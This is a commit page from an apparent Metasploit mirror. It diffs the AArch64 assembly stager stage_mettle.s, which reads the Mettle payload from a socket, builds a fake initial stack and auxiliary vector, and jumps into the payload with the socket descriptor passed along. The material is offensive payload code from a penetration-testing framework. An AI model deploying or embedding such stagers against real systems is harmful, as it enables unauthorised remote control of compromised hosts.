adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

setup stack

Browse Source
This commit is contained in:
Tim
2017-08-29 12:24:05 +08:00
parent a2396991f0
commit 26f4fa3b09
2 changed files with 62 additions and 86 deletions
Download Patch File Download Diff File Expand all files Collapse all files
external/source/shellcode/linux/aarch64/stage_mettle.s
Vendored
+32 -68
View File
@@ -44,81 +44,48 @@ read_loop:
subs x4, x4, x0
bne read_loop
/* set up the initial stack */
/*
add sp, sp, #80
mov x4, #109
eor x5, x5, x5
stp x4, x5, [sp, #-16]!
mov x1,#2
mov x2,sp
mov x3,#0
mov x4,#2
mov x5,sp
mov x6,x12
mov x7,#0
mov x8,#0
mov x9,#7
mov x10,x10
mov x11,#0
mov x12,#0
eor x0, x0, x0
eor x1, x1, x1
eor x2, x2, x2
eor x3, x3, x3
stp x4, x5, [sp, #-16]!
stp x6, x7, [sp, #-16]!
stp x7, x8, [sp, #-16]!
stp x9, x10, [sp, #-16]!
stp x11, x12, [sp, #-16]!
*/
/* add entry_offset */
adr x0, entry
ldr x0, [x0]
// entry_offset + mmap
add x0, x0, x10
mov x14, x0
mov x8, x0
/* set up the initial stack */
mov x0, sp
and sp, x0, #-16
add sp, sp, #(16 * 6)
/* argc = 2, argv[0] = 'm' */
mov x0, #2
mov x1, #109
str x1, [sp]
mov x1, sp
stp x0, x1, [sp, #-16]!
/* Set up the fake stack.
For whatever reason, aarch64 binaries really want AT_RANDOM
to be available. */
/* AT_NULL */
eor x0, x0, x0
eor x1, x1, x1
stp x0, x1, [sp, #-16]!
/* AT_RANDOM */
mov x2, #25
mov x3, sp
stp x2, x3, [sp, #-16]!
/* argc = 2, argv[1] = 'x12 (sockfd)' */
mov x2, x12
mov x3, 0
stp x2, x3, [sp, #-16]!
/* argc, argv[0], argv[1], envp */
/* ideally these could all be empty, but unfortunately
we have to keep the stack aligned. it's easier to
just push an extra argument than care... */
stp x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */
mov x0, 1
mov x1, sp
stp x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */
mov x4, 0
mov x5, #7 /* AT_BASE */
stp x4, x5, [sp, #-16]!
br x8
mov x6, x10
mov x7, #6 /* AT_PAGESZ */
stp x6, x7, [sp, #-16]!
/*
mov x0, #109
mov x1, x12
stp x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */
/* mov x0, 2
mov x1, sp
stp x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */
mov x8, #0x1000
mov x9, #25 /* AT_RANDOM */
stp x8, x9, [sp, #-16]!
/*
blr x8
*/
mov x10, x10
mov x11, #0 /* AT_NULL */
stp x10, x11, [sp, #-16]!
mov x29, #0
mov x30, #0
br x14
failed:
mov x0, 0
@@ -132,6 +99,3 @@ size:
entry:
.word ENTRY
.word 0
m:
.word 0x0000006d
.word 0x00000000